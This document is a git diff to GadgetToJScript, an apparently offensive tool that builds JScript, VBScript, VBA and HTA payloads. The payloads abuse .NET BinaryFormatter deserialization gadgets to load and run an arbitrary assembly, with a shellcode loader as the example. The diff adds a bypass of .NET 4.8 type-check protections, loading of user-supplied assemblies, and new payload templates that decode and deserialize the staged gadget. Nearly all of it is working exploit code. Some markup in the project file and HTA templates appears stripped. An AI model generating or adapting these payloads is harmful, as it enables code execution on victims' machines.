diff --git a/.DS_Store b/.DS_Store index 1e33795..4e8deef 100644 Binary files a/.DS_Store and b/.DS_Store differ diff --git a/GadgetToJScript.sln b/GadgetToJScript.sln index d984ad1..f2af0c8 100755 --- a/GadgetToJScript.sln +++ b/GadgetToJScript.sln @@ -5,6 +5,8 @@ VisualStudioVersion = 15.0.28010.2003 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GadgetToJScript", "GadgetToJScript\GadgetToJScript.csproj", "{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestAssembly", "TestAssembly\TestAssembly.csproj", "{B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -21,6 +23,14 @@ Global {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.Build.0 = Release|Any CPU {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.ActiveCfg = Release|x86 {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.Build.0 = Release|x86 + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|x86.ActiveCfg = Debug|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|x86.Build.0 = Debug|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|Any CPU.Build.0 = Release|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|x86.ActiveCfg = Release|Any CPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/GadgetToJScript/.DS_Store b/GadgetToJScript/.DS_Store deleted file mode 100644 index c72a50f..0000000 Binary files a/GadgetToJScript/.DS_Store and /dev/null differ diff --git a/GadgetToJScript/App.Config b/GadgetToJScript/App.Config index 00bfd11..e82980b 100755 --- a/GadgetToJScript/App.Config +++ b/GadgetToJScript/App.Config @@ -1,6 +1,6 @@ - + - - - \ No newline at end of file + + + diff --git a/GadgetToJScript/GadgetToJScript.csproj b/GadgetToJScript/GadgetToJScript.csproj index a264447..56f0eef 100755 --- a/GadgetToJScript/GadgetToJScript.csproj +++ b/GadgetToJScript/GadgetToJScript.csproj @@ -1,92 +1,104 @@ - - - - - Debug - AnyCPU - {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9} - Exe - GadgetToJScript - GadgetToJScript - v4.6.1 - 512 - true - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - true - bin\x86\Debug\ - DEBUG;TRACE - full - x86 - prompt - MinimumRecommendedRules.ruleset - true - - - bin\x86\Release\ - TRACE - true - pdbonly - x86 - prompt - MinimumRecommendedRules.ruleset - true - - - - ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll - - - - - - - - - - - - - - - - - - - - - - - - Designer - - - - - - - - - - - + + + + + Debug + AnyCPU + {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9} + Exe + GadgetToJScript + GadgetToJScript + v4.6.1 + 512 + true + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + true + bin\x86\Debug\ + DEBUG;TRACE + full + x86 + prompt + MinimumRecommendedRules.ruleset + true + + + bin\x86\Release\ + TRACE + true + pdbonly + x86 + prompt + MinimumRecommendedRules.ruleset + true + + + + ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll + + + + + + + + + + + + + + + + + + + + + + + + + Designer + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/GadgetToJScript/Program.cs b/GadgetToJScript/Program.cs index 803656e..9820949 100755 --- a/GadgetToJScript/Program.cs +++ b/GadgetToJScript/Program.cs @@ -21,9 +21,11 @@ using System.Runtime.Serialization.Formatters.Binary; using System.Text; -namespace GadgetToJScript{ +namespace GadgetToJScript +{ - class Program{ + class Program + { enum EWSH @@ -45,25 +47,35 @@ enum ENC private static string _outputFName = "test"; private static bool _regFree = false; private static string _enc = "b64"; + private static string _assembly = ""; + private static string _csFile = ""; + private static string _references = ""; + private static bool _bypass = false; static void Main(string[] args) { var show_help = false; - + bool _isAssembly = false; OptionSet options = new OptionSet(){ - {"w|scriptType=","js, vbs, vba or hta", v =>_wsh=v}, - {"e|encodeType=","VBA gadgets encoding: b64 or hex (default set to b64)", v => _enc=v}, - {"o|output=","Generated payload output file, example: C:\\Users\\userX\\Desktop\\output (Without extension)", v =>_outputFName=v}, - {"r|regfree","registration-free activation of .NET based COM components", v => _regFree = v != null}, - {"h|help=","Show Help", v => show_help = v != null}, + {"w|scriptType=","Set to js, vbs, vba or hta.\n", v =>_wsh=v}, + {"b|bypass","Bypass type check controls introduced in .NET version 4.8+, by default set to false," + + " set to true (--bypass/-b) in case WSH scripts are being generated to run on .NET version > 4.8+ .\n", v => _bypass = v != null}, + {"e|encodeType=","VBA gadgets encoding: b64 or hex (default set to b64),\n", v => _enc=v}, + {"o|output=","Generated payload output file, example: -o C:\\Users\\userX\\Desktop\\output (Without extension)\n", v =>_outputFName=v}, + {"r|regfree","registration-free activation of .NET based COM components, applicable to JS/HTA scripts only.\n", v => _regFree = v != null}, + {"a|assembly=",".NET Assembly, example: -a C:\\Users\\userX\\Desktop\\shellcode_loader.dll, alternatively you can specify a c# source file instead using -c cmdline switch.\n", v => _assembly=v}, + {"c|csfile=","C# source code file, example: -c C:\\Users\\userX\\Desktop\\shellcode_loader.cs, make sure to place your code within the default constructor of your class and specify any required dependencies using -d cmdline switch.\n", v => _csFile=v}, + {"d|references=","Reference Assemblies, example: -d System.Windows.Forms.dll, System.dll\n", v => _references=v}, + {"h|help","Show Help", v => show_help = v != null}, }; try { options.Parse(args); + if (_wsh == "" || _outputFName == "") { showHelp(options); @@ -81,105 +93,166 @@ static void Main(string[] args) showHelp(options); return; } + + if (_assembly.Trim() == "" && _csFile.Trim() == "") + { + showHelp(options); + return; + } + else + { + _isAssembly = _assembly.Trim() != "" ? true : false; + + if (_isAssembly) + { + if (!File.Exists(_assembly)) + { + showHelp(options); + return; + } + } + else + { + if (!File.Exists(_csFile)) + { + showHelp(options); + return; + } + } + } + } catch (Exception e) { - Console.WriteLine(e.Message); - Console.WriteLine("Try --help for more information."); + Console.WriteLine("\nTry --help for more information."); showHelp(options); return; } string resourceName = ""; + string dotNetVersion = (_bypass ? "GT4_8" : "LT4_8"); switch (_wsh) { case "js": - if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; } - else { resourceName = "GadgetToJScript.templates.jscript.template"; } + if (_regFree) { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript-regfree.template"; } + else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript.template"; } break; case "vbs": - resourceName = "GadgetToJScript.templates.vbscript.template"; + resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbscript.template"; break; case "vba": - //Console.WriteLine("Not supported yet, only JS, VBS and HTA are supported at the moment"); - //return; - if (_enc == "b64") { - resourceName = "GadgetToJScript.templates.vbascriptb64.template"; + if (_enc == "b64") + { + resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbascriptb64.template"; } - else{ - resourceName = "GadgetToJScript.templates.vbascripthex.template"; + else + { + resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbascripthex.template"; } break; case "hta": - resourceName = "GadgetToJScript.templates.htascript.template"; + if (_regFree && dotNetVersion == "LT4_8") { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".htascript-regfree.template"; } + else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".htascript.template"; } break; default: - if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; } - else { resourceName = "GadgetToJScript.templates.jscript.template"; } + if (_regFree) { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript-regfree.template"; } + else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript.template"; } break; } + Console.WriteLine("[+]: Generating the " + _wsh + " payload"); - MemoryStream _msStg1 = new MemoryStream(); - _DisableTypeCheckGadgetGenerator _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator(); - - _msStg1 = _disableTypCheckObj.generateGadget(_msStg1); + MemoryStream _msStg1 = null; + _DisableTypeCheckGadgetGenerator _disableTypCheckObj = null; + if (_bypass) + { + _msStg1 = new MemoryStream(); + _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator(); + _msStg1 = _disableTypCheckObj.generateGadget(_msStg1); + Console.WriteLine("[+]: First stage gadget generation done."); + } ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); + Assembly _assemblyBytes = null; - Assembly testAssembly = TestAssemblyLoader.compile(); + if (_isAssembly){ + Console.WriteLine("[+]: Loading your .NET assembly:" + _assembly); + _assemblyBytes = _AssemblyLoader.load(_assembly.Trim()); + } + else + { + Console.WriteLine("[+]: Compiling your .NET code located at:" + _csFile); + _assemblyBytes = _AssemblyLoader.compile(_csFile.Trim(), _references.Trim()); + } + + if (_assemblyBytes == null){ + return; + } BinaryFormatter _formatterStg2 = new BinaryFormatter(); MemoryStream _msStg2 = new MemoryStream(); - _ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(testAssembly); + _ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(_assemblyBytes); _formatterStg2.Serialize(_msStg2, _gadgetStg); + Console.WriteLine("[+]: Second stage gadget generation done."); Assembly assembly = Assembly.GetExecutingAssembly(); string _wshTemplate = ""; - using (Stream stream = assembly.GetManifestResourceStream(resourceName)) - if (_wsh != "vba"){ - - using (StreamReader reader = new StreamReader(stream)) + if (_wsh != "vba") { - _wshTemplate = reader.ReadToEnd(); - _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray())); - _wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString()); - _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray())); - _wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString()); + + using (StreamReader reader = new StreamReader(stream)) + { + _wshTemplate = reader.ReadToEnd(); + if (_bypass) + { + _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray())); + _wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString()); + } + _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray())); + _wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString()); + } } - } - else{ + else + { List stage1Lines = new List(); List stage2Lines = new List(); if (_enc == "b64") { - stage1Lines = SplitToLines(Convert.ToBase64String(_msStg1.ToArray()), 100).ToList(); + if (_bypass) + stage1Lines = SplitToLines(Convert.ToBase64String(_msStg1.ToArray()), 100).ToList(); + stage2Lines = SplitToLines(Convert.ToBase64String(_msStg2.ToArray()), 100).ToList(); } - else{ - stage1Lines = SplitToLines(BitConverter.ToString(_msStg1.ToArray()).Replace("-", ""), 100).ToList(); + else + { + if (_bypass) + stage1Lines = SplitToLines(BitConverter.ToString(_msStg1.ToArray()).Replace("-", ""), 100).ToList(); + stage2Lines = SplitToLines(BitConverter.ToString(_msStg2.ToArray()).Replace("-", ""), 100).ToList(); } - - StringBuilder _b1 = new StringBuilder(); - _b1.Append("stage_1 = \"").Append(stage1Lines[0]).Append("\""); - _b1.AppendLine(); - stage1Lines.RemoveAt(0); - - foreach (String line in stage1Lines) + StringBuilder _b1 = null; + if (_bypass) { - _b1.Append("stage_1 = stage_1 & \"").Append(line.ToString().Trim()).Append("\""); + _b1 = new StringBuilder(); + _b1.Append("stage_1 = \"").Append(stage1Lines[0]).Append("\""); _b1.AppendLine(); + stage1Lines.RemoveAt(0); + + foreach (String line in stage1Lines) + { + _b1.Append("stage_1 = stage_1 & \"").Append(line.ToString().Trim()).Append("\""); + _b1.AppendLine(); + } } StringBuilder _b2 = new StringBuilder(); @@ -195,37 +268,30 @@ static void Main(string[] args) using (StreamReader reader = new StreamReader(stream)) - { - _wshTemplate = reader.ReadToEnd(); - _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", _b1.ToString()); - _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", _b2.ToString()); + { + _wshTemplate = reader.ReadToEnd(); + if (_bypass) + _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", _b1.ToString()); + + _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", _b2.ToString()); + } } - } using (StreamWriter _generatedWSH = new StreamWriter(_outputFName + "." + _wsh)) { _generatedWSH.WriteLine(_wshTemplate); } + Console.WriteLine("[*]: Payload generation completed, check: " + _outputFName + "." + _wsh); + } public static void showHelp(OptionSet p) { - Console.WriteLine("Usage:"); + Console.WriteLine("\nUsage:"); p.WriteOptionDescriptions(Console.Out); } - public static byte[] readRawShellcode(string _SHFname) - { - byte[] _buf = null; - using (FileStream fs = new FileStream(_SHFname, FileMode.Open, FileAccess.Read)) - { - _buf = new byte[fs.Length]; - fs.Read(_buf, 0, (int)fs.Length); - } - return _buf; - } - public static IEnumerable SplitToLines(string stringToSplit, int maximumLineLength) { var words = stringToSplit.Split(' ').Concat(new[] { "" }); diff --git a/GadgetToJScript/TestAssemblyLoader.cs b/GadgetToJScript/TestAssemblyLoader.cs deleted file mode 100755 index 321b8fd..0000000 --- a/GadgetToJScript/TestAssemblyLoader.cs +++ /dev/null @@ -1,57 +0,0 @@ -using Microsoft.CSharp; -using System; -using System.CodeDom.Compiler; -using System.Reflection; -using System.Text; - -namespace GadgetToJScript -{ - class TestAssemblyLoader - { - public static Assembly compile() - { - // Shellcode loader would make more sense here, just make sure your code is located within the default constructor. - string _testClass = @" - - using System; - using System.Runtime.InteropServices; - - public class TestClass - { - " + "[DllImport(\"User32.dll\", CharSet = CharSet.Unicode)]" + - @"public static extern int MessageBox(IntPtr h, string m, string c, int t); - - public TestClass(){ - " + "MessageBox((IntPtr)0, \"Test .NET Assembly Constructor Called.\", \"Coolio\", 0);" + - @"} - } - - "; - - CSharpCodeProvider provider = new CSharpCodeProvider(); - CompilerParameters parameters = new CompilerParameters(); - - parameters.ReferencedAssemblies.Add("System.dll"); - - - CompilerResults results = provider.CompileAssemblyFromSource(parameters, _testClass); - - if (results.Errors.HasErrors) - { - StringBuilder sb = new StringBuilder(); - - foreach (CompilerError error in results.Errors) - { - sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line)); - } - - throw new InvalidOperationException(sb.ToString()); - } - - Assembly _compiled = results.CompiledAssembly; - - return _compiled; - } - - } -} diff --git a/GadgetToJScript/_ASurrogateGadgetGenerator.cs b/GadgetToJScript/_ASurrogateGadgetGenerator.cs index 39022bd..295a6d3 100755 --- a/GadgetToJScript/_ASurrogateGadgetGenerator.cs +++ b/GadgetToJScript/_ASurrogateGadgetGenerator.cs @@ -16,44 +16,86 @@ namespace GadgetToJScript public class _ASurrogateGadgetGenerator: ISerializable { protected byte[] assemblyBytes; - public _ASurrogateGadgetGenerator(Assembly _SHLoaderAssembly) { + public _ASurrogateGadgetGenerator(Assembly _SHLoaderAssembly) + { this.assemblyBytes = File.ReadAllBytes(_SHLoaderAssembly.Location); } protected _ASurrogateGadgetGenerator(SerializationInfo info, StreamingContext context) { } + private IEnumerable GetEnum(IEnumerable src, Func predicate, Func selector) + { + Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") + .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2") + .MakeGenericType(typeof(TSource), typeof(TResult)); + return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable; + } public void GetObjectData(SerializationInfo info, StreamingContext context) { + + DesignerVerb verb = new DesignerVerb("000", null); + Hashtable ht = new Hashtable(); + List ls = new List(); + try { List data = new List(); data.Add(this.assemblyBytes); - var e1 = data.Select(Assembly.Load); - Func> map_type = (Func>)Delegate.CreateDelegate(typeof(Func>), typeof(Assembly).GetMethod("GetTypes")); - var e2 = e1.SelectMany(map_type); - var e3 = e2.Select(Activator.CreateInstance); + byte[][] e1 = new byte[][] { assemblyBytes }; + + IEnumerable e2 = GetEnum(e1, null, Assembly.Load); + IEnumerable> e3 = GetEnum>(e2, + null, + (Func>)Delegate.CreateDelegate + ( + typeof(Func>), + typeof(Assembly).GetMethod("GetTypes") + ) + ); - PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; + IEnumerable> e4 = GetEnum, IEnumerator>(e3, + null, + (Func, IEnumerator>)Delegate.CreateDelegate + ( + typeof(Func, IEnumerator>), + typeof(IEnumerable).GetMethod("GetEnumerator") + ) + ); + IEnumerable e5 = GetEnum, Type>(e4, + (Func, bool>)Delegate.CreateDelegate + ( + typeof(Func, bool>), + typeof(IEnumerator).GetMethod("MoveNext") + ), + (Func, Type>)Delegate.CreateDelegate + ( + typeof(Func, Type>), + typeof(IEnumerator).GetProperty("Current").GetGetMethod() + ) + ); + IEnumerable end = GetEnum(e5, null, Activator.CreateInstance); + PagedDataSource pds = new PagedDataSource() { DataSource = end }; IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); - DesignerVerb verb = new DesignerVerb("000", null); + verb = new DesignerVerb("", null); + typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); - List ls = new List(); ls.Add(e1); ls.Add(e2); ls.Add(e3); + ls.Add(e4); + ls.Add(e5); + ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); - Hashtable ht = new Hashtable(); - - ht.Add(verb, "v1"); - ht.Add("p2", "v2"); + ht.Add(verb, ""); + ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); @@ -74,24 +116,19 @@ public void GetObjectData(SerializationInfo info, StreamingContext context) ls.Add(ht); - info.SetType(typeof(System.Data.DataSet)); - info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary); - info.AddValue("DataSet.DataSetName", ""); - info.AddValue("DataSet.Namespace", ""); - info.AddValue("DataSet.Prefix", ""); - info.AddValue("DataSet.CaseSensitive", false); - info.AddValue("DataSet.LocaleLCID", 0x409); - info.AddValue("DataSet.EnforceConstraints", false); - info.AddValue("DataSet.ExtendedProperties", (PropertyCollection)null); - info.AddValue("DataSet.Tables.Count", 1); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new _SurrogateSelector(); fmt.Serialize(stm, ls); - info.AddValue("DataSet.Tables_0", stm.ToArray()); - }catch(Exception ex){ - - } + info.SetType(typeof(System.Windows.Forms.AxHost.State)); + info.AddValue("PropertyBagBinary", stm.ToArray()); + } + catch (Exception ex) + { + Console.WriteLine("Error _ASurrogateGadgetGenerator: " + ex.Message + " : " + ex.StackTrace); + } } + + } } diff --git a/GadgetToJScript/_AssemblyLoader.cs b/GadgetToJScript/_AssemblyLoader.cs new file mode 100755 index 0000000..003a208 --- /dev/null +++ b/GadgetToJScript/_AssemblyLoader.cs @@ -0,0 +1,62 @@ +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Linq; +using System.Reflection; +using System.Text; + +namespace GadgetToJScript +{ + class _AssemblyLoader + { + + public static Assembly load(String path) { + try{ + Assembly _assembly = Assembly.LoadFrom(path); + return _assembly; + + }catch(BadImageFormatException ex) { + Console.WriteLine("Error _AssemblyLoader: " + ex.Message + " : " + ex.StackTrace); + return null; + } + catch (Exception exG){ + Console.WriteLine("Error _AssemblyLoader: " + exG.Message + " : " + exG.StackTrace); + return null; + } + + } + public static Assembly compile(String csFile, String references) + { + try + { + CSharpCodeProvider provider = new CSharpCodeProvider(); + CompilerParameters parameters = new CompilerParameters(); + + parameters.ReferencedAssemblies.AddRange(references.Split(new[] { ',' }).Select(reference => reference).ToArray()); + + CompilerResults results = provider.CompileAssemblyFromFile(parameters, csFile); + + if (results.Errors.HasErrors) + { + StringBuilder sb = new StringBuilder(); + + foreach (CompilerError error in results.Errors) + { + sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line)); + } + + throw new InvalidOperationException(sb.ToString()); + } + + Assembly _compiled = results.CompiledAssembly; + + return _compiled; + }catch(Exception ex) + { + Console.WriteLine("Error _AssemblyLoader: " + ex.Message + " : " + ex.StackTrace); + return null; + } + } + + } +} diff --git a/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs b/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs index 00002de..413074e 100755 --- a/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs +++ b/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs @@ -58,7 +58,6 @@ public MemoryStream generateGadget(MemoryStream ms) Object _textFRPM = new TextFormattingRunPropertiesMarshal(_disableTypeCheckPayload); BinaryFormatter _formatter = new BinaryFormatter(); - ms = new MemoryStream(); _formatter.Serialize(ms, _textFRPM); return ms; } diff --git a/GadgetToJScript/_SurrogateSelector.cs b/GadgetToJScript/_SurrogateSelector.cs index e276ee8..085e9e9 100755 --- a/GadgetToJScript/_SurrogateSelector.cs +++ b/GadgetToJScript/_SurrogateSelector.cs @@ -3,7 +3,6 @@ using System.Linq; using System.Runtime.Serialization; using System.Text; -using System.Threading.Tasks; namespace GadgetToJScript { diff --git a/GadgetToJScript/bin/.DS_Store b/GadgetToJScript/bin/.DS_Store deleted file mode 100644 index f412b34..0000000 Binary files a/GadgetToJScript/bin/.DS_Store and /dev/null differ diff --git a/GadgetToJScript/bin/x86/.DS_Store b/GadgetToJScript/bin/x86/.DS_Store deleted file mode 100644 index 80d78f6..0000000 Binary files a/GadgetToJScript/bin/x86/.DS_Store and /dev/null differ diff --git a/GadgetToJScript/templates/htascript.template b/GadgetToJScript/templates/GT4_8/htascript.template similarity index 94% rename from GadgetToJScript/templates/htascript.template rename to GadgetToJScript/templates/GT4_8/htascript.template index 96ad1ea..67e3c6d 100755 --- a/GadgetToJScript/templates/htascript.template +++ b/GadgetToJScript/templates/GT4_8/htascript.template @@ -3,7 +3,7 @@ - LazyNetToJscript HTA + GadgetToJscript HTA diff --git a/GadgetToJScript/templates/jscript-regfree.template b/GadgetToJScript/templates/GT4_8/jscript-regfree.template similarity index 100% rename from GadgetToJScript/templates/jscript-regfree.template rename to GadgetToJScript/templates/GT4_8/jscript-regfree.template diff --git a/GadgetToJScript/templates/jscript.template b/GadgetToJScript/templates/GT4_8/jscript.template similarity index 100% rename from GadgetToJScript/templates/jscript.template rename to GadgetToJScript/templates/GT4_8/jscript.template diff --git a/GadgetToJScript/templates/vbascriptb64.template b/GadgetToJScript/templates/GT4_8/vbascriptb64.template similarity index 100% rename from GadgetToJScript/templates/vbascriptb64.template rename to GadgetToJScript/templates/GT4_8/vbascriptb64.template diff --git a/GadgetToJScript/templates/vbascripthex.template b/GadgetToJScript/templates/GT4_8/vbascripthex.template similarity index 100% rename from GadgetToJScript/templates/vbascripthex.template rename to GadgetToJScript/templates/GT4_8/vbascripthex.template diff --git a/GadgetToJScript/templates/vbscript.template b/GadgetToJScript/templates/GT4_8/vbscript.template similarity index 100% rename from GadgetToJScript/templates/vbscript.template rename to GadgetToJScript/templates/GT4_8/vbscript.template diff --git a/GadgetToJScript/templates/LT4_8/htascript-regfree.template b/GadgetToJScript/templates/LT4_8/htascript-regfree.template new file mode 100755 index 0000000..70f130f --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/htascript-regfree.template @@ -0,0 +1,45 @@ + + + + + + GadgetToJscript HTA + + + + + + + \ No newline at end of file diff --git a/GadgetToJScript/templates/LT4_8/htascript.template b/GadgetToJScript/templates/LT4_8/htascript.template new file mode 100755 index 0000000..e7223d4 --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/htascript.template @@ -0,0 +1,46 @@ + + + + + + GadgetToJscript HTA + + + + + + + \ No newline at end of file diff --git a/GadgetToJScript/templates/LT4_8/jscript-regfree.template b/GadgetToJScript/templates/LT4_8/jscript-regfree.template new file mode 100755 index 0000000..9aaf44b --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/jscript-regfree.template @@ -0,0 +1,30 @@ +var manifestXML = ''+ + ''+ + ''+ + ''+ + ''; + +var actObj = new ActiveXObject("Microsoft.Windows.ActCtx"); +actObj.ManifestText = manifestXML; + +function Base64ToStream(b,l) { + var enc = actObj.CreateObject("System.Text.ASCIIEncoding"); + var length = enc.GetByteCount_2(b); + var ba = enc.GetBytes_4(b); + var transform = actObj.CreateObject("System.Security.Cryptography.FromBase64Transform"); + ba = transform.TransformFinalBlock(ba, 0, length); + var ms = actObj.CreateObject("System.IO.MemoryStream"); + ms.Write(ba, 0, l); + ms.Position = 0; + return ms; +} + +var stage_2 = "%_STAGE2_%"; + +try { + + var ms_1 = Base64ToStream(stage_2, %_STAGE2Len_%); + var fmt_1 = actObj.CreateObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); + fmt_1.Deserialize_2(ms_1); + +} catch (e) {} diff --git a/GadgetToJScript/templates/LT4_8/jscript.template b/GadgetToJScript/templates/LT4_8/jscript.template new file mode 100755 index 0000000..eb4eec4 --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/jscript.template @@ -0,0 +1,32 @@ +function Base64ToStream(b,l) { + var enc = new ActiveXObject("System.Text.ASCIIEncoding"); + var length = enc.GetByteCount_2(b); + var ba = enc.GetBytes_4(b); + var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); + ba = transform.TransformFinalBlock(ba, 0, length); + var ms = new ActiveXObject("System.IO.MemoryStream"); + ms.Write(ba, 0, l); + ms.Position = 0; + return ms; +} + +var stage_2 = "%_STAGE2_%"; + +try { + + var shell = new ActiveXObject('WScript.Shell'); + ver = 'v4.0.30319'; + + try { + shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); + } catch(e) { + ver = 'v2.0.50727'; + } + + shell.Environment('Process')('COMPLUS_Version') = ver; + + var ms_1 = Base64ToStream(stage_2, %_STAGE2Len_%); + var fmt_1 = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); + fmt_1.Deserialize_2(ms_1); + +} catch (e) {} diff --git a/GadgetToJScript/templates/LT4_8/vbascriptb64.template b/GadgetToJScript/templates/LT4_8/vbascriptb64.template new file mode 100755 index 0000000..9491a7d --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/vbascriptb64.template @@ -0,0 +1,48 @@ +Function b64Decode(ByVal enc) + Dim xmlObj, nodeObj + Set xmlObj = CreateObject("Msxml2.DOMDocument.3.0") + Set nodeObj = xmlObj.CreateElement("base64") + nodeObj.dataType = "bin.base64" + nodeObj.Text = enc + b64Decode = nodeObj.nodeTypedValue + Set nodeObj = Nothing + Set xmlObj = Nothing +End Function + +Function Exec() + + Dim stage_2 + + %_STAGE2_% + + Dim stm_1 As Object, fmt_1 As Object + + manifest = "" + manifest = manifest & "" + manifest = manifest & "" + manifest = manifest & "" + + + Set actCtx = CreateObject("Microsoft.Windows.ActCtx") + actCtx.ManifestText = manifest + + Set stm_1 = actCtx.CreateObject("System.IO.MemoryStream") + Set fmt_1 = actCtx.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") + + Dim Decstage_2 + Decstage_2 = b64Decode(stage_2) + + For Each i In Decstage_2 + stm_1.WriteByte i + Next i + + On Error Resume Next + + stm_1.Position = 0 + Dim o1 As Object + Set o1 = fmt_1.Deserialize_2(stm_1) + +End Function \ No newline at end of file diff --git a/GadgetToJScript/templates/LT4_8/vbascripthex.template b/GadgetToJScript/templates/LT4_8/vbascripthex.template new file mode 100755 index 0000000..634712d --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/vbascripthex.template @@ -0,0 +1,46 @@ +Private Function hexDecode(hex) + On Error Resume Next + Dim xmlObj, nodeObj + Set xmlObj = CreateObject("Microsoft.XMLDOM") + Set nodeObj = xmlObj.createElement("tmp") + nodeObj.DataType = "bin.hex" + nodeObj.Text = hex + hexDecode = nodeObj.NodeTypedValue +End Function + +Function Exec() + Dim stage_2 + + %_STAGE2_% + + Dim stm_1 As Object, fmt_1 As Object + + manifest = "" + manifest = manifest & "" + manifest = manifest & "" + manifest = manifest & "" + + + Set actCtx = CreateObject("Microsoft.Windows.ActCtx") + actCtx.ManifestText = manifest + + Set stm_1 = actCtx.CreateObject("System.IO.MemoryStream") + Set fmt_1 = actCtx.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") + + Dim Decstage_2 + Decstage_2 = hexDecode(stage_2) + + For Each i In Decstage_2 + stm_1.WriteByte i + Next i + + On Error 